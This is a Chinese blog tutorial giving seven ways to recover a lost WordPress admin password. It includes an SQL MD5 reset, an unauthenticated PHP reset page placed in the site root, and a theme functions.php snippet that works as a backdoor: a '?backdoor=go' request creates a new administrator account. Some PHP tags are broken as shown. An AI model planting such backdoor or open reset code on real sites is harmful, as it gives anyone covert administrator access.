WordPress忘记后台密码怎么办?(附另类解决办法)

Author: 陌小雨Date: 2016-09-24View: 245

网站多了,或者长时间不用了,就容易忘记WordPress后台密码,这个时候你不要惊慌,陌小雨博客分享7种WordPress忘记后台密码后的解决办法,总有一款适合你的。

1、重装WordPress。我们不推荐这种方法,重装还要下载安装文件比较麻烦。

2、使用找回密码功能。WordPress 本身支持邮件取回密码功能,如果管理员账户的电子邮件有效,在后台登录界面,点击“忘记密码”链接,输入正确邮件地址后,即可收到一封含重置密码的邮件。

3、把WP目录下的wp-config.php文件删除,然后重新访问网站,这会让你重新进行最后一个安装步骤,这样就可以得到新的密码。

4、登录数据库后台 phpMyAdmin ,找到WP数据库的wp_users表,在这里可以看到默认的用户admin(如果你的管理员用户名是其他,找对应的即可),它的密码是加密过的。这时,我们可以修改这条数据,找到user_pass这个域,把它原来的一长串数据删掉,写上你的密码,比如123456。这时,你会看到一个函数的下拉框,把它选择为MD5。这是为了把你的密码进行MD5算法加密,再保存。这样,再通过你的域名/wp-admin 访问到管理入口,用这个密码就可以登陆了。

5、通过 SQL 语句修改密码。登录 phpMyAdmin 进入 WordPress 数据库并执行以下 SQL 语句:

UPDATE wp_users SET user_pass = MD5( 'password' ) WHERE wp_users.user_login = 'admin' LIMIT 1

执行后密码就被重置为password了,也就是上面语句中MD5括号单引号里面的字符串,同样的,上述语句中后面的admin为你的后台管理账号。

6、使用 PHP 找回密码。PHP 方法归根结底也是 SQL 查询语句修改的方式,只不过提供一个用户界面。将以下代码复制并保存为 password-resetter.php 文件,上传至 WordPress 根目录,然后运行该文件,输入密码即可重置。

<?php
//password resetter
include("wp-config.php");
include("wp-blog-header.php");
if (empty($_POST['emergency_pass'])) {
>
<form method="post">
set admin password: <input name="emergency_pass" type="password" />
<input type="submit" />
</form>
<?php
} else {
$sql = "UPDATE ".$wpdb->users." SET user_pass = '".md5($_POST['emergency_pass'])."' WHERE User_login = 'admin'";
$link = $wpdb->query($sql);
wp_redirect('wp-login.php');
exit();
}
>

同样的,需要更改上述代码倒数第6行中的管理员账号,示例为admin。

7、另类的办法

陌小雨今天想给大家分享的是一种另类的方法,常言道:刀剑不分善恶、关键在于使用他的人。如下面这串代码:

//找回管理员密码
//整理:https://dedewp.com/14859.html
add_action('wp_head', 'holeinthewall');
function holeinthewall() {
If ($_GET['backdoor'] == 'go') {
require('wp-includes/registration.php');
If (!username_exists('username')) {
$user_id = wp_create_user('username', 'password');
$user = new WP_User($user_id);
$user->set_role('administrator');
}}}

效果图:

20160922095247

虽说是很多人用来放置后门的程序,但是运用得当,也可以作为我们找回密码的工具。

将上述代码加到当前主题的functions.php文件中,然后访问域名/?backdoor=go,即可创建一个最高权限的管理员账号,登录后台后我们就可以删除忘记密码的那个账号或者给忘记密码的那个账户重置密码了。